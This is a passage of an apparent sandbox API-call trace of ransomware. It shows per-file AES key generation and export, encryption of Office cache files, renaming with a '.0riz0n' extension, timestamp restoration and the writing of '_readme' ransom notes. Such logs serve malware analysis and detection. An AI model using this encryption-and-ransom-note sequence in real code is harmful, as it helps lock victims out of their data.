lpOverlapped=0x0) returned 1 [0073.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0073.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0073.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0073.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0074.109] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0074.308] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0074.468] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0074.468] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0074.591] FlushFileBuffers (hFile=0x1f0) returned 1 [0074.619] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0074.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf3600) returned 0x2d60020 [0074.619] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xf35ed, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xf35ed, lpOverlapped=0x0) returned 1 [0074.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf3600) returned 0x2e60020 [0074.649] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0074.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2e60020) returned 1 [0074.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf3a00) returned 0x2d60020 [0074.667] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0xf35ed, dwBufLen=0xf39ed | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0xf35f0) returned 1 [0074.685] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0074.689] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0074.690] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xf35ed, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xf35ed, lpOverlapped=0x0) returned 1 [0074.692] FlushFileBuffers (hFile=0x1f0) returned 1 [0074.697] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0074.697] NtClose (Handle=0x1f0) returned 0x0 [0074.949] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.0riz0n")) returned 1 [0074.949] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0074.950] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0074.950] GetLastError () returned 0x2 [0074.950] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed67a8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0074.950] GetLastError () returned 0x2 [0074.950] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0074.952] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0074.952] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0074.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0074.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0074.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0074.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d278) returned 1 [0074.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0074.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0074.953] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0074.953] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x41619ef0, dwHighDateTime=0x1d59598)) returned 1 [0074.954] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0074.954] NtClose (Handle=0x1f0) returned 0x0 [0074.955] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0074.955] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0074.955] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0074.955] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0075.000] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0075.000] CryptDestroyKey (hKey=0x459b38) returned 1 [0075.000] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0075.000] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0075.000] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0075.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0075.000] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00)) returned 1 [0075.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0075.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0075.000] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0075.000] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.000] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0075.000] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.000] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00)) returned 1 [0075.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0075.001] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0075.001] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0075.001] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00)) returned 1 [0075.001] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0075.001] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0075.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0075.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.001] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0075.001] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0075.002] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf020c5d0, dwHighDateTime=0x1d301be)) returned 1 [0075.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.002] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0075.002] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0075.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0075.002] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0075.002] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0075.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0075.002] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0075.002] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0075.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5c00) returned 0x2350020 [0075.003] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xd5c00, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xd5c00, lpOverlapped=0x0) returned 1 [0075.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5c00) returned 0x2430020 [0075.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5c00) returned 0x2350020 [0075.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0075.046] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd6000) returned 0x2430020 [0075.058] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2430020*, pdwDataLen=0x17af858*=0xd5c00, dwBufLen=0xd6000 | out: pbData=0x2430020*, pdwDataLen=0x17af858*=0xd5c10) returned 1 [0075.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd5c40) returned 0x2510020 [0075.077] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0075.081] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0075.084] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0075.084] WriteFile (in: hFile=0x1f0, lpBuffer=0x2510020*, nNumberOfBytesToWrite=0xd5c00, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2510020*, lpNumberOfBytesWritten=0x17af85c*=0xd5c00, lpOverlapped=0x0) returned 1 [0075.087] FlushFileBuffers (hFile=0x1f0) returned 1 [0075.099] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0075.099] NtClose (Handle=0x1f0) returned 0x0 [0075.171] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.0riz0n")) returned 1 [0075.172] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0075.172] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0075.172] GetLastError () returned 0x2 [0075.172] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed67c8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0075.172] GetLastError () returned 0x2 [0075.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0075.173] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0075.173] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0075.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0075.174] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0075.174] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4182f230, dwHighDateTime=0x1d59598)) returned 1 [0075.174] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0075.174] NtClose (Handle=0x1f0) returned 0x0 [0075.175] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0075.175] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0075.175] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0075.175] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2510020) returned 1 [0075.179] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0075.179] CryptDestroyKey (hKey=0x459b38) returned 1 [0075.179] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0075.179] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0075.179] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0075.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.179] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1 [0075.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0075.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0075.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0075.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0075.180] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0075.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0075.180] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1 [0075.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0075.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0075.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0075.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0075.180] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.180] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1 [0075.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0075.180] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0075.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0075.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0075.181] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0075.181] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0075.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0075.181] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf01be3d0, dwHighDateTime=0x1d301be)) returned 1 [0075.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0075.181] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0075.181] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0075.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0075.181] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0075.181] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, 